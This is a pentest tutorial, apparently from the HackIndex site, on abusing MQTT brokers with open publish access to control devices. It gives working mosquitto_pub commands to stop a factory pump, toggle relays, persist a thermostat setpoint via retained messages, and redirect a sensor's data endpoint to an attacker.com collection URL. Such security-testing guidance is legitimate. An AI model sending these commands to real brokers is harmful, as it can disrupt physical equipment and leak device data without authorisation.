Skip to content
HackIndex logo

HackIndex

MQTT Unauthorized Publish and Device Control

3 min read Mar 16, 2026

When a broker permits unauthenticated or authenticated-but-unrestricted publish access, any client can write to any topic. In environments where devices act on messages they receive — actuators, switches, industrial controllers, building systems — publishing to the right topic sends a command to a real device. This is the highest-impact MQTT finding: it crosses from information disclosure into direct operational impact.

Identify control topics first using MQTT Topic Discovery before publishing anything.

Confirm Publish is Permitted

Test publish access with a safe, probe-only topic before targeting anything operational:

┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'pentest/probe' -m 'test' -d 2>&1
Client mosqpub|1234-kali sending CONNECT
Client mosqpub|1234-kali received CONNACK (0)
Client mosqpub|1234-kali sending PUBLISH (d0, q0, r0, m1, 'pentest/probe', ... (4 bytes))
Client mosqpub|1234-kali sending DISCONNECT

A clean PUBLISH without error confirms write access. Verify the message was received by subscribing to the same topic in a second terminal:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t 'pentest/probe' -C 1 -v

Identify Control Topics

Topics that accept device commands typically follow patterns like:

device/DEVICEID/cmd
device/DEVICEID/set
home/room/device/command
factory/line/actuator/control
sensor/SENSORID/config

From your harvested traffic, look for topics where the payload contains command-like structures:

┌──(kali㉿kali)-[~]
└─$ grep -iE 'cmd|command|set|control|action|write|update' /tmp/mqtt-topics.txt

Subscribe to a candidate topic and watch for command payloads from legitimate clients — this tells you the expected payload format before you publish:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t 'device/+/cmd' -v

Publish to a Control Topic

Once you have identified a control topic and understand the payload format, publish a test command. Mirror the exact format observed from legitimate traffic:

┌──(kali㉿kali)-[~]
└─$ # JSON format
┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'home/light/bedroom/set' -m '{"state":"ON"}'
 
┌──(kali㉿kali)-[~]
└─$ # Plain string format
┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'factory/pump/control' -m 'stop'
 
┌──(kali㉿kali)-[~]
└─$ # Binary/numeric format
┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'device/relay1/cmd' -m '0'

Observe the physical or logical effect, and monitor the broker for a response published back on a status topic.

Publish with Retained Flag

Publishing with the retained flag replaces the broker's stored state for that topic. Any device that reconnects or re-subscribes will receive your payload as the current state:

┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'device/thermostat/setpoint' -m '35' -r

-r sets the retained flag. Use this to demonstrate persistence — the payload survives broker restarts and is delivered to new subscribers.

Inject into Config Topics

Configuration topics that devices poll for settings are high-value write targets. Publishing modified configuration can alter device behaviour persistently:

┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'device/sensor01/config' \
-m '{"interval":1,"endpoint":"http://attacker.com/collect"}' -r

Document the Impact

For reporting, distinguish between:

  • Publish access confirmed but no control topics identified — information disclosure risk

  • Control topic identified but publish effect unconfirmed — potential device manipulation

  • Control topic published to with observed device response — confirmed unauthorised device control

Avoid leaving test messages on retained topics after the assessment — clear them by publishing an empty message with the retained flag:

┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'pentest/probe' -m '' -r

References